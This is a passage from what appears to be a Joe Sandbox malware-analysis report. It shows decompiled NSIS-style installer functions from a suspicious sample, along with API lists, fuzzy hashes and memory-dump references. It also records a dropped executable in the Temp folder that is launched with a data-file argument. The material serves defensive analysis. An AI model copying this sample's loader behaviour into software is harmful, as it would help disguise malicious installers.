Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: 398385dbb58ca0a44fa402a726e0ab0b2131cea3ae709c8a1b666252059dd88a
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: F6E08632141129EBCF10AE548C00EEB375CFB01350F014476F955E3040D330E93087A5

Uniqueness

Uniqueness Score: -1.00%

Function 004035F8 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004035F8(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
				return _t2;
			}

0x00403606
0x0040360c

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032F6,?), ref: 00403606

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 00401FA4 Relevance: 1.3, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00401FA4() {
				void* _t9;
				char _t13;
				void* _t15;
				void* _t17;
				void* _t20;
				void* _t22;

				_t19 = E00402DA6(_t15);
				E004056CA(0xffffffeb, _t7);
				_t9 = E00405C4B(_t19); // executed
				_t20 = _t9;
				if(_t20 == _t15) {
					 *((intOrPtr*)(_t22 - 4)) = 1;
				} else {
					if( *((intOrPtr*)(_t22 - 0x28)) != _t15) {
						_t13 = E00406AE0(_t17, _t20); // executed
						if( *((intOrPtr*)(_t22 - 0x2c)) < _t15) {
							if(_t13 != _t15) {
								 *((intOrPtr*)(_t22 - 4)) = 1;
							}
						} else {
							E004065AF( *((intOrPtr*)(_t22 - 0xc)), _t13);
						}
					}
					_push(_t20);
					CloseHandle();
				}
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t22 - 4));
				return 0;
			}

0x00401faa
0x00401faf
0x00401fb5
0x00401fba
0x00401fbe
0x0040292e
0x00401fc4
0x00401fc7
0x00401fca
0x00401fd2
0x00401fe1
0x00401fe3
0x00401fe3
0x00401fd4
0x00401fd8
0x00401fd8
0x00401fd2
0x00401fea
0x00401feb
0x00401feb
0x00402c2d
0x00402c39

APIs

Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
Part of subcall function 004056CA: lstrcatW.KERNEL32 ref: 00405725
Part of subcall function 004056CA: SetWindowTextW.USER32 ref: 00405737
Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

Part of subcall function 00405C4B: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426750,00000000), ref: 00405C74
Part of subcall function 00405C4B: CloseHandle.KERNEL32(?), ref: 00405C81

CloseHandle.KERNEL32(?), ref: 00401FEB

Part of subcall function 00406AE0: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406AF1
Part of subcall function 00406AE0: GetExitCodeProcess.KERNELBASE(?,?), ref: 00406B13

Part of subcall function 004065AF: wsprintfW.USER32 ref: 004065BC

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: 98c10e394aa7211d00c312830497ac903b837474ab48397c41695a6fe6023c65
Instruction ID: 7fe263eab699b123ac8c37dffe14ee58438593542e676086741668bd6549bbba
Opcode Fuzzy Hash: 98c10e394aa7211d00c312830497ac903b837474ab48397c41695a6fe6023c65
Instruction Fuzzy Hash: 3DF09072905112EBDF21BBA59AC4DAE76A4DF01318B25453BE102B21E0D77C4E528A6E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00405809 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00405809(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t94;
				long _t95;
				int _t100;
				void* _t108;
				intOrPtr _t130;
				struct HWND__* _t134;
				int _t156;
				int _t159;
				struct HMENU__* _t164;
				struct HWND__* _t168;
				struct HWND__* _t169;
				int _t171;
				void* _t172;
				short* _t173;
				short* _t175;
				int _t177;

				_t169 =  *0x429244;
				_t156 = 0;
				_v8 = _t169;
				if(_a8 != 0x110) {
					if(_a8 == 0x405) {
						CloseHandle(CreateThread(0, 0, E0040579D, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
					}
					if(_a8 != 0x111) {
						L17:
						_t171 = 1;
						if(_a8 != 0x404) {
							L25:
							if(_a8 != 0x7b) {
								goto L20;
							}
							_t94 = _v8;
							if(_a12 != _t94) {
								goto L20;
							}
							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
							_a8 = _t95;
							if(_t95 <= _t156) {
								L36:
								return 0;
							}
							_t164 = CreatePopupMenu();
							AppendMenuW(_t164, _t156, _t171, E004066A5(_t156, _t164, _t171, _t156, 0xffffffe1));
							_t100 = _a16;
							_t159 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v28);
								_t100 = _v28.left;
								_t159 = _v28.top;
							}
							if(TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156) == _t171) {
								_v60 = _t156;
								_v48 = 0x423748;
								_v44 = 0x1000;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t171 = _t171 + SendMessageW(_v8, 0x1073, _a4,  &_v68) + 2;
								} while (_a4 != _t156);
								OpenClipboard(_t156);
								EmptyClipboard();
								_t108 = GlobalAlloc(0x42, _t171 + _t171);
								_a4 = _t108;
								_t172 = GlobalLock(_t108);
								do {
									_v48 = _t172;
									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
									 *_t173 = 0xd;
									_t175 = _t173 + 2;
									 *_t175 = 0xa;
									_t172 = _t175 + 2;
									_t156 = _t156 + 1;
								} while (_t156 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(0xd, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						if( *0x42922c == _t156) {
							ShowWindow( *0x42a268, 8);
							if( *0x42a2ec == _t156) {
								E004056CA( *((intOrPtr*)( *0x422720 + 0x34)), _t156);
							}
							E0040459D(_t171);
							goto L25;
						}
						 *0x421f18 = 2;
						E0040459D(0x78);
						goto L20;
					} else {
						if(_a12 != 0x403) {
							L20:
							return E0040462B(_a8, _a12, _a16);
						}
						ShowWindow( *0x429230, _t156);
						ShowWindow(_t169, 8);
						E004045F9(_t169);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_t177 = 2;
				_v60 = _t177;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t130 =  *0x42a270;
				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
				_a12 =  *((intOrPtr*)(_t130 + 0x60));
				 *0x429230 = GetDlgItem(_a4, 0x403);
				 *0x429228 = GetDlgItem(_a4, 0x3ee);
				_t134 = GetDlgItem(_a4, 0x3f8);
				 *0x429244 = _t134;
				_v8 = _t134;
				E004045F9( *0x429230);
				 *0x429234 = E00404F52(4);
				 *0x42924c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(_t177);
				SendMessageW(_v8, 0x1061, 0,  &_v60);
				SendMessageW(_v8, 0x1036, 0x4000, 0x4000);
				if(_a8 >= 0) {
					SendMessageW(_v8, 0x1001, 0, _a8);
					SendMessageW(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t156) {
					SendMessageW(_v8, 0x1024, _t156, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E004045C4(_a4);
				if(( *0x42a278 & 0x00000003) != 0) {
					ShowWindow( *0x429230, _t156);
					if(( *0x42a278 & 0x00000002) != 0) {
						 *0x429230 = _t156;
					} else {
						ShowWindow(_v8, 8);
					}
					E004045F9( *0x429228);
				}
				_t168 = GetDlgItem(_a4, 0x3ec);
				SendMessageW(_t168, 0x401, _t156, 0x75300000);
				if(( *0x42a278 & 0x00000004) != 0) {
					SendMessageW(_t168, 0x409, _t156, _a12);
					SendMessageW(_t168, 0x2001, _t156, _a8);
				}
				goto L36;
			}

0x00405811
0x00405817
0x00405821
0x00405824
0x004059ba
0x004059de
0x004059de
0x004059f1
0x00405a0f
0x00405a11
0x00405a19
0x00405a6f
0x00405a73
0x00000000
0x00000000
0x00405a75
0x00405a7b
0x00000000
0x00000000
0x00405a85
0x00405a8d
0x00405a90
0x00405b92
0x00000000
0x00405b92
0x00405a9f
0x00405aaa
0x00405ab3
0x00405abe
0x00405ac1
0x00405aca
0x00405ad0
0x00405ad3
0x00405ad3
0x00405aeb
0x00405af4
0x00405af7
0x00405afe
0x00405b05
0x00405b0d
0x00405b0d
0x00405b24
0x00405b24
0x00405b2b
0x00405b31
0x00405b3d
0x00405b44
0x00405b4d
0x00405b4f
0x00405b52
0x00405b61
0x00405b64
0x00405b6a
0x00405b6b
0x00405b71
0x00405b72
0x00405b73
0x00405b7b
0x00405b86
0x00405b8c
0x00405b8c
0x00000000
0x00405aeb
0x00405a21
0x00405a51
0x00405a59
0x00405a64
0x00405a64
0x00405a6a
0x00000000
0x00405a6a
0x00405a25
0x00405a2f
0x00000000
0x004059f3
0x004059f9
0x00405a34
0x00000000
0x00405a3d
0x00405a02
0x00405a07
0x00405a0a
0x00000000
0x00405a0a
0x004059f1
0x0040582a
0x0040582e
0x00405836
0x0040583a
0x0040583d
0x00405840
0x00405843
0x00405846
0x00405847
0x00405848
0x00405861
0x00405864
0x0040586e
0x0040587d
0x00405885
0x0040588d
0x00405892
0x00405895
0x004058a1
0x004058aa
0x004058b3
0x004058d5
0x004058db
0x004058ec
0x004058f1
0x004058ff
0x0040590d
0x0040590d
0x00405912
0x00405920
0x00405920
0x00405925
0x00405928
0x0040592d
0x00405939
0x00405942
0x0040594f
0x0040595e
0x00405951
0x00405956
0x00405956
0x0040596a
0x0040596a
0x0040597e
0x00405987
0x00405990
0x004059a0
0x004059ac
0x004059ac
0x00000000

APIs

GetDlgItem.USER32(?,00000403), ref: 00405867
GetDlgItem.USER32(?,000003EE), ref: 00405876
GetClientRect.USER32 ref: 004058B3
GetSystemMetrics.USER32 ref: 004058BA
SendMessageW.USER32(?,00001061,00000000,?), ref: 004058DB
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004058EC
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004058FF
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040590D
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405920
ShowWindow.USER32(00000000,?), ref: 00405942
ShowWindow.USER32(?,00000008), ref: 00405956
GetDlgItem.USER32(?,000003EC), ref: 00405977
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405987
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004059A0
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004059AC
GetDlgItem.USER32(?,000003F8), ref: 00405885

Part of subcall function 004045F9: SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607

GetDlgItem.USER32(?,000003EC), ref: 004059C9
CreateThread.KERNEL32(00000000,00000000,Function_0000579D,00000000), ref: 004059D7
CloseHandle.KERNEL32(00000000), ref: 004059DE
ShowWindow.USER32(00000000), ref: 00405A02
ShowWindow.USER32(?,00000008), ref: 00405A07
ShowWindow.USER32(00000008), ref: 00405A51
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405A85
CreatePopupMenu.USER32 ref: 00405A96
AppendMenuW.USER32 ref: 00405AAA
GetWindowRect.USER32(?,?), ref: 00405ACA
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405AE3
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B1B
OpenClipboard.USER32(00000000), ref: 00405B2B
EmptyClipboard.USER32 ref: 00405B31
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405B3D
GlobalLock.KERNEL32 ref: 00405B47
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B5B
GlobalUnlock.KERNEL32(00000000), ref: 00405B7B
SetClipboardData.USER32 ref: 00405B86
CloseClipboard.USER32 ref: 00405B8C

Strings

H7B, xrefs: 00405AF7
{, xrefs: 00405A6F

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: H7B${
API String ID: 590372296-2256286769
Opcode ID: e4f6a996a8720e03325efe7e3e6ec8b5bf9409ee1120525c1c8a69bac62d7f01
Instruction ID: d0bbb34d81c2c7a38b5cdb5171fa906e4f4201ee6cbe22cb0b3272b57562556b
Opcode Fuzzy Hash: e4f6a996a8720e03325efe7e3e6ec8b5bf9409ee1120525c1c8a69bac62d7f01
Instruction Fuzzy Hash: D8B137B0900608FFDF119FA0DD89AAE7B79FB08354F00417AFA45A61A0CB755E52DF68

Uniqueness

Uniqueness Score: -1.00%

Function 00404AB5 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00404AB5(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				WCHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				WCHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				short* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				WCHAR* _t146;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed int* _t160;
				struct HWND__* _t166;
				struct HWND__* _t167;
				int _t169;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x422720;
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xb) + 0x42b000;
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E00405CAC(0x3fb, _t146);
					E004068EF(_t146);
				}
				_t167 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405CAC(0x3fb, _t146);
							if(E0040603F(_t186, _t146) == 0) {
								_v8 = 1;
							}
							E00406668(0x421718, _t146);
							_t87 = E00406A35(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E00406668(0x421718, _t146);
								_t89 = E00405FE2(0x421718);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 = 0;
								}
								if(GetDiskFreeSpaceW(0x421718,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t169 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x421718) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x421718,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E00405F83(0x421718);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160;
									 *_t159 = 0x5c;
									if(_t159 != 0x421718) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t169 = 0x400;
								L36:
								_t95 = E00404F52(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								if( *((intOrPtr*)( *0x42923c + 0x10)) != _t158) {
									E00404F3A(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextW(_a4, _t169, 0x421708);
									} else {
										E00404E71(_t169, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x42a304 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t169) != 0) {
									_v8 = _t158;
								}
								E004045E6(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x423738 == _t158) {
									E00404A0E();
								}
								 *0x423738 = _t158;
								goto L53;
							}
						}
						_t186 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t167;
							_v72 = 0x423748;
							_v60 = E00404E0B;
							_v56 = _t146;
							_v68 = E004066A5(_t146, 0x423748, _t167, 0x421f20, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderW(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405F37(_t146);
								_t125 =  *((intOrPtr*)( *0x42a270 + 0x11c));
								if( *((intOrPtr*)( *0x42a270 + 0x11c)) != 0 && _t146 == 0x435800) {
									E004066A5(_t146, 0x423748, _t167, 0, _t125);
									if(lstrcmpiW(0x428200, 0x423748) != 0) {
										lstrcatW(_t146, 0x428200);
									}
								}
								 *0x423738 =  *0x423738 + 1;
								SetDlgItemTextW(_t167, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t166 = GetDlgItem(_t167, 0x3fb);
					if(E00405FAE(_t146) != 0 && E00405FE2(_t146) == 0) {
						E00405F37(_t146);
					}
					 *0x429238 = _t167;
					SetWindowTextW(_t166, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E004045C4(_t167);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E004045C4(_t167);
					E004045F9(_t166);
					_t138 = E00406A35(8);
					if(_t138 == 0) {
						L53:
						return E0040462B(_a8, _a12, _a16);
					} else {
						 *_t138(_t166, 1);
						goto L8;
					}
				}
			}

0x00404ab5
0x00404abb
0x00404ac1
0x00404ace
0x00404adc
0x00404adf
0x00404ae7
0x00404aed
0x00404aed
0x00404af9
0x00404afc
0x00404b6a
0x00404b71
0x00404c48
0x00404c4f
0x00404c5e
0x00404c5e
0x00404c62
0x00404c6c
0x00404c79
0x00404c7b
0x00404c7b
0x00404c89
0x00404c90
0x00404c97
0x00404c9a
0x00404cd6
0x00404cd8
0x00404cde
0x00404ce3
0x00404ce7
0x00404ce9
0x00404ce9
0x00404d05
0x00000000
0x00404d07
0x00404d0a
0x00404d18
0x00404d1e
0x00404d1f
0x00404d22
0x00404d25
0x00000000
0x00404d25
0x00404c9c
0x00404c9e
0x00404ca2
0x00000000
0x00000000
0x00000000
0x00000000
0x00404ca4
0x00404ca4
0x00404cb1
0x00404cb6
0x00000000
0x00000000
0x00404cba
0x00404cbc
0x00404cbc
0x00404cc5
0x00404cc7
0x00404ccc
0x00404ccf
0x00404cd4
0x00000000
0x00000000
0x00000000
0x00000000
0x00404cd4
0x00404d31
0x00404d3b
0x00404d3e
0x00404d41
0x00404d48
0x00404d48
0x00404d4a
0x00404d4a
0x00404d4f
0x00404d51
0x00404d59
0x00404d60
0x00404d62
0x00404d6d
0x00404d6d
0x00404d62
0x00404d7d
0x00404d87
0x00404d8f
0x00404daa
0x00404d91
0x00404d9a
0x00404d9a
0x00404d8f
0x00404daf
0x00404db4
0x00404db9
0x00404dc2
0x00404dc2
0x00404dcb
0x00404dcd
0x00404dcd
0x00404dd9
0x00404de1
0x00404deb
0x00404deb
0x00404df0
0x00000000
0x00404df0
0x00404c9a
0x00404c51
0x00404c58
0x00000000
0x00000000
0x00000000
0x00404c58
0x00404b77
0x00404b80
0x00404b9a
0x00404b9f
0x00404ba9
0x00404bb0
0x00404bbc
0x00404bbf
0x00404bc2
0x00404bc9
0x00404bd1
0x00404bd4
0x00404bd8
0x00404bdf
0x00404be7
0x00404c41
0x00404be9
0x00404bea
0x00404bf1
0x00404bfb
0x00404c03
0x00404c10
0x00404c24
0x00404c28
0x00404c28
0x00404c24
0x00404c2d
0x00404c3a
0x00404c3a
0x00404be7
0x00000000
0x00404b9f
0x00404b8d
0x00000000
0x00000000
0x00404b93
0x00000000
0x00404afe
0x00404b0b
0x00404b14
0x00404b21
0x00404b21
0x00404b28
0x00404b2e
0x00404b37
0x00404b3a
0x00404b3d
0x00404b45
0x00404b48
0x00404b4b
0x00404b51
0x00404b58
0x00404b5f
0x00404df6
0x00404e08
0x00404b65
0x00404b68
0x00000000
0x00404b68
0x00404b5f

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404B04
SetWindowTextW.USER32 ref: 00404B2E
SHBrowseForFolderW.SHELL32(?), ref: 00404BDF
CoTaskMemFree.OLE32(00000000), ref: 00404BEA
lstrcmpiW.KERNEL32("C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx,00423748,00000000,?,?), ref: 00404C1C
lstrcatW.KERNEL32 ref: 00404C28
SetDlgItemTextW.USER32 ref: 00404C3A

Part of subcall function 00405CAC: GetDlgItemTextW.USER32 ref: 00405CBF

Part of subcall function 004068EF: CharNextW.USER32(?), ref: 00406952
Part of subcall function 004068EF: CharNextW.USER32(?), ref: 00406961
Part of subcall function 004068EF: CharNextW.USER32(?), ref: 00406966
Part of subcall function 004068EF: CharPrevW.USER32(?,?), ref: 00406979

GetDiskFreeSpaceW.KERNEL32(00421718,?,?,0000040F,?,00421718,00421718,?,00000001,00421718,?,?,000003FB,?), ref: 00404CFD
MulDiv.KERNEL32 ref: 00404D18

Part of subcall function 00404E71: lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F12
Part of subcall function 00404E71: wsprintfW.USER32 ref: 00404F1B
Part of subcall function 00404E71: SetDlgItemTextW.USER32 ref: 00404F2E

Strings

H7B, xrefs: 00404BB2
"C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx, xrefs: 00404C16, 00404C1B, 00404C26
A, xrefs: 00404BD8

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
